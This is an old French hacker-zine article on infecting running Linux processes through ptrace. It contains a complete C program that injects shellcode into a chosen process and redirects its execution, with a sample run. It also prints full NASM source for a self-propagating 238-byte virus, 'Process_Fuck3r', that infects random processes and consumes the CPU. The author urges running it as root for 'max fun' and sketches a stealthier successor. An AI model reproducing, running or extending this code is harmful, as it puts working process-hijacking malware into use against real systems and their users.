                                                      _        __          _   _             
                                                     (_)      / _|        | | (_)            
               _ __  _ __ ___   ___ ___  ___ ___      _ _ __ | |_ ___  ___| |_ _  ___  _ __  
              | '_ \| '__/ _ \ / __/ _ \/ __/ __|    | | '_ \|  _/ _ \/ __| __| |/ _ \| '_ \ 
              | |_) | | | (_) | (_|  __/\__ \__ \    | | | | | ||  __/ (__| |_| | (_) | | | |
              | .__/|_|  \___/ \___\___||___/___/    |_|_| |_|_| \___|\___|\__|_|\___/|_| |_|
              | |                                                                         
              |_|                         



    -- [ Infection des process en runtime

                                     
N.B. : Cet article etait destine a etre publie ailleurs il y a longtemps. 
Depuis d'autre article sur le sujet on vu le jour, dont un dans MISC.


    1 - Introduction.

    2 - Jouer avec ptrace.

    3 - Virus: premire approche.

    4 - Evolution ?




1 - Introduction
----------------

 Je considre cet article comme un article 'dtente', ce n'est pas trs 
technique les code sont simples et je trouve la finalit inutile mais 
marrante (:

Plus srieusement la modification de process en run-time n'a rien de nouveaux
il existe deja quelque chose la dessus dans phrack.
La plus part de ces articles on une approche permettant l'installation
d'une backdoor sur la machine.
Cet article traite de la facon de propager un virus de process en process.


2 - Jouer avec ptrace
---------------------

  Tout ce qui concerne le debugging, sous linux, est li a ptrace(), on peut
tracer un process que l'on va excuter avec PTRACE_TRACEME, ou alors tracer
un process en cours d'excution avec PTRACE_ATTACH.

Autre option de ptrace() nsscaire:
 -PTRACE_GETREGS rempli une structure (user_regs_struct) contenant l'tat des
  registres du process trac.
 -PTRACE_SETREGS quand a lui sert a modifier l'tat des registres.
 -PTRACE_POKEDATA nous premet d'ecrire dans l'espace du process trac.
 -PTRACE_DETTACH libre le process trac.



Commencons par simplement injecter du code dans un process et lui faire
executer.

Droulement de l'opration:


                           Attachement au process.
                                      |
                                      |
                           Attente et vrification
                             de l'atachement.
                                      |
                                      |
                            Rgupration de l'tat
                           des registres du process
                                    trac.
                                      |
                                      |
                            Allocation d'espace dans
                                 le process.
                                      |
                                      |
                            Copie du code a injecter
                                dans cet espace.
                                      |
                                      |
                             Redirig le process vers
                                    ce code
                                      |
                                      |
                               Dtacher le proces




Vla un petit bout de code pour illustrer ca :


--[test.c]

#include <stdio.h>
#include <sys/ptrace.h>
#include <errno.h>
#include <asm/user.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <unistd.h>


int main (int argc, char **argv)
{
	char shellcode []=
	"\x90\x90\x90\x90\x90"	//times 5 nop
	"\x31\xc0"		//xor    %eax,%eax
	"\x99"			//cltd
	"\xb0\x04"		//mov    $0x4,%al
	"\x31\xdb"		//xor    %ebx,%ebx
	"\x43"			//inc    %ebx
	"\x68\x64\x20\x21\x0a"	//push   $0xa212064
	"\x68\x6f\x77\x6e\x33"	//push   $0x656e776f
	"\x89\xe1"		//mov    %esp,%ecx
	"\xb2\x08"		//mov    $0x4,%dl
	"\xcd\x80"		//int    $0x80
	"\x31\xc0"		//xor    %eax,%eax
	"\x40"			//inc    %eax
	"\x31\xdb"		//xor    %ebx,%ebx
	"\xcd\x80";		//int    $0x80


	pid_t	pid;
	struct user_regs_struct reg;
	int i;

	if(!argv[1]){
		printf("%s <pid_to_own>\n\n",argv[0]);
		exit(1);
	}

	pid = atoi(argv[1]);
	if(ptrace(PTRACE_ATTACH, pid, NULL,NULL)){
		perror("PTRACE_ATTACH");
		exit(1);
	}
	printf("[+] Attente d'atachement au processus %d\n",pid);

	if(waitpid(pid,NULL,WUNTRACED)<0){
		perror("waitpid WUNTRACED");
		exit(1);
	}
	printf("[+] Attachement russi\n");

	if(ptrace(PTRACE_GETREGS, pid, NULL, &reg)){
		perror("PTRACE_GETREGS");
		exit(1);
	}
	printf("[+] Lecture des registres:\n");
	printf("\t-eip: %#08lx\n\t-esp: %#08lx\n",reg.eip,reg.esp);

	reg.esp-=4096;

	for(i=0;i<36;i+=4){
		if(ptrace(PTRACE_POKEDATA, pid, reg.esp+i,*(int*)&shellcode[0+i])){
			perror("PTRACE_POKEDATA");
			exit(1);
		}
	}
	printf("[+] Shellcode copi en esp:%#08lx\n",reg.esp);

	reg.eip=reg.esp;
	reg.eip+=3;	                  //eip commence souvent 2 bytes avant

	if(ptrace(PTRACE_SETREGS, pid, NULL, &reg)){
		perror("PTRACE_SETREGS");
		exit(0);
	}

	printf("[+] Redirection vers le shellcode eip:%#08lx\n",reg.eip);
	printf("[+] Dtachement du processus %d\n",pid);
	ptrace(PTRACE_DETACH, pid, NULL, NULL);
	return(0);
}


--[/test.c]




Ce bout de code permet d'injecter un shellcode dans un proces definit par
argv[1].
Le shellcode affiche juste own3d ! et fait un exit(0);

Dmonstration :
$ gcc test.c
$ ps ax | grep mplayer
  306 pts/2    S      0:00 mplayer Aural Planet - Changing My Mind.mp3

$ ./a.out 306
[+] Attente d'atachement au processus 306
[+] Attachement russi
[+] Lecture des registres:
	-eip: 0x40214de1
	-esp: 0xbfffe920
[+] Shellcode copi en esp:0xbfffd920
[+] Redirection vers le shellcode eip:0xbfffd923
[+] Dtachement du processus 306
own3d !
$


Pour une raison que je comprend pas, si je copie le shellcode a une adress
et que je redirige eip a cet adresse eip commence toujours 2 bytes avant.
Pour etre sur j'ai mis 5 nop au debut du shellcode, puis je redirige eip a
l'adresse du shellcode +3.

Le code tant insr dans la stack il est vident que ca ne fonctionnera pas
sur les kernel avec une stack protect.





3 - Virus: premire approche
----------------------------

  Maintenant un peu plus amusant.
Le but est de faire en sorte que le code injecter a un process soit capable de
rechercher lui meme des process a infecter, de les infecter et que ces process
infect soit a leur tour capable d'infecter d'autre process.

Une fois le virus lanc, les process infect vont stopper leur activit et
passer leur temps  chercher d'autre process a infecter;)
Prparez vous donc  rebootez dans la minute qui suit, ou a jouer
rapidement du kill ;)

Pour que ce soit plus drole le virus contient un gnrateur de nombre
pseudo altoire pour le choix des pids a infecter.

Fonctionnement du virus:


                       ______________________
                      |                      |
              +------>| tirage PID alatoire |
              |       |______________________|
              |                   |
              |                   |
              |         __________|___________
              |        /                     /
              +--NON--+ Attachement au PID  /
              |      /_____________________/
              |                   |
              |                  oui
              |        ___________|_________
              |       |                     |
              |       |      Infection      |
              |       |_____________________|
              |                   |
              |        ___________|_________
              |       |                     |
              +-------+      Dtachement    |
                      |_____________________|




La parti infection reprend a peu pret la meme que celle dcrite dans le
chapitre2 avec en plus un test pour savoir si le process est deja
infect ou pas.
Un process est dclar comme deja infect si eip==0xBxxxxxxx.
(Note, le 0xBxxxxxxx n'est pas valide pour les Fedora qui de toute facon
on une stack non exec par defaut.)







;                                  Process_Fuck3r
;                                  --------------
;
;
;nasm -f elf pf.asm
;cc pf.o -o pf -nostdlib
;
;

STRUC regs_struc
	.ebx:		resd		1
	.ecx:		resd		1
	.edx:		resd		1
	.esi:		resd		1
	.edi:		resd		1
	.ebp:		resd		1
	.eax:		resd		1
	.ds:		resw		1
	.__ds:		resw		1
	.es:		resw		1
	.__es:		resw		1
	.fs:		resw		1
	.__fs:		resw		1
	.gs:		resw		1
	.__gs:		resw		1
	.orig_eax:	resd		1
	.eip:		resd		1
	.cs:		resw		1
	.__cs:		resw		1
	.eflags		resd		1
	.esp:		resd		1
	.ss:		resw		1
	.__ss:		resw		1
ENDSTRUC

%define size_regs_struc (regs_struc.__ss)-(regs_struc.ebx) +2


%define		sys_fork		2

%define		sys_time		13

%define		sys_ptrace		26
%define		PTRACE_POKEDATA		 5
%define		PTRACE_GETREGS		12
%define		PTRACE_SETREGS		13
%define		PTRACE_ATTACH		16
%define		PTRACE_DETACH		17

%define		sys_times		43



global _start
section .evil

_start:

	times	4	nop

call	delta
delta:
	pop 	ebp
	sub	ebp, 9



;-----------------------------------------------------------------------------
;
;gnrateur de nombres pseudo alatoire

_rnd_pid:

	xor	eax, eax
	mov	 al, sys_time
	xor 	ebx, ebx
	int 	0x80

	push	0x0000FFFF

	shl	eax, cl
        add     eax, ecx                ; Adjust random value with random seed
        rol     ecx, 1                  ; Adjust random seed.
        add     ecx, 0x666
        push    32
        pop     ecx

CRC_Bit:
        shr     eax, 1                  ; Bit is set?
        jnc     Loop_CRC_Bit
        xor     eax, 0xedb88320

Loop_CRC_Bit:
        loop    CRC_Bit                 ; Do all 32 bits.
        pop     ecx                     ; ECX = Max_Val.

        xor     edx, edx                ; Divide truely random value
        div     ecx                     ; by Max_Val.
        xchg    edx, ecx



;-----------------------------------------------------------------------------
;
;ptrace attach

	xor 	eax, eax
	mov	 al, sys_ptrace
	xor	ebx, ebx
	mov	 bl, PTRACE_ATTACH  ;
	xor 	edx, edx
	xor 	esi, esi
	int 	0x80

	test	eax, eax
	jne	_rnd_pid            ;si eax ngatif on essay un aure process



;-----------------------------------------------------------------------------
;
;recup des registres
	xor 	eax, eax
	mov	 al, sys_ptrace
	xor	ebx, ebx
	mov 	ebx, PTRACE_GETREGS
	xor	edx, edx
	sub	esp, size_regs_struc
	mov	esi, esp
	int	0x80

	test	eax, eax
	jne	_detach


;-----------------------------------------------------------------------------
;
;test infection
debug:
	mov	eax, [esp+regs_struc.eip]
	shr	eax, 28
	cmp	eax, 0xb             ;si quartet fort de eip == 0xb on quitte
	je	_detach



;recup de la place sur la stack du process hote
_stack:
	mov	eax,[esp+regs_struc.esp]
	sub	eax, 4096
	mov	[esp+regs_struc.esp], eax


;prpare la copi
	mov	eax, _end-_start     ;taille a copier
	xor	edi, edi             ;initialisation compteur

_copie:
        mov     ebx, PTRACE_POKEDATA
        lea     edx, [esp+regs_struc.esp+edi]
        mov     esi, dword [ebp+edi]
	push	eax				;sauvegarde de la size a copier
	xor	eax, eax
	mov	 al, sys_ptrace
	int 	0x80
	test	eax, eax
	jne	_detach
	pop	eax
	add	edi, 4
	cmp	edi, eax
	jbe	_copie



;redirection eip
_redirection:
	lea	eax, [esp+regs_struc.esp]
	add	eax, 2
	mov	[esp+regs_struc.eip], eax
	xor	eax, eax
	mov	 al, sys_ptrace
	mov	ebx, PTRACE_SETREGS
	xor 	edx, edx
	mov	esi, esp
	int	0x80

_detach:
	add	esp, size_regs_struc	;restauration de la stack

	xor 	eax, eax
	mov	 al, sys_ptrace
	xor	ebx, ebx
	mov	ebx, PTRACE_DETACH
	xor	edx, edx
	xor	esi, esi
	int 	0x80

	jmp 	_rnd_pid

times	3	nop
_end:





$ nasm -f elf pf.asm
$ cc pf.o -o pf -nostdlib
$ readelf -e pf |grep evil
  [ 2] .evil           PROGBITS      08048080 000080 0000ee 00   A  0   0  1

Le virus est simple et tout petit seulement 238octets non optimis.


Bon vidament pour un max de fun, le mieux pour le tester c'est d'etre sous 
une mandrake bien lourde avec KDE comme window manager et tout plein
de truc lanc ;)
Et pour ceux d'entre vous, qui aime les choses extrme et qui veulent un max
de sensation, j'vous conseille de le lancer en r00t.

Une fois lanc, le virus va utiliser toute la puissance du CPU pour
rechercher un process a infecter, une fois qu'il va en trouver un et
l'infecter il vont ce partager a 2 les ressorces CPU restante et ainsi de
suite. La technique bien bourrin quoi :)
On peut donc suivre les process infect avec top c'est facile c'est
ceux qui bouffent toutes les ressources ;)




4 - Evolution ?
---------------

  Oui faudrais pouvoir faire voluer ce virus, car si c'est fun de lancer
aprs l'avoir cod, la 2eme fois c'est vraiment relou de foutre en l'air
ca session.

Le problme principal de Process_fucker est que le process hote est arrtt.

On peut empch ca en forkant le virus, oui mais alors la aucun interet de
s'atach pralablement a un process :)


Autre solution:

Une fois le PTRACE_ATTACH russi on decend suffisament loin dans la pile,
on vrifie que l'espace est plein de zros (pour minimiser les risques
de destructions de donnes du process), et on ecrit le virus.
Lorsque le virus a reussi a infect un autre process il rend la main au
process hote.
De cette facon les process sont juste mis en pause le temps d'en infecter
un autre et une seule copi du virus tourne en meme temps.

Le virus fonctionne a peu pret de la meme facon sauf qu'il devra commencer par
sauver l'tat des registres du process hote.
Ensuite il cherche un process a infecter et une fois le PTRACE_DETACH effectu
au lieu de repartir cherche un autre process il devra restaur les registres
pralablement sauv et jump ou point eip avant son execution.



    -- [ Pere-Castor

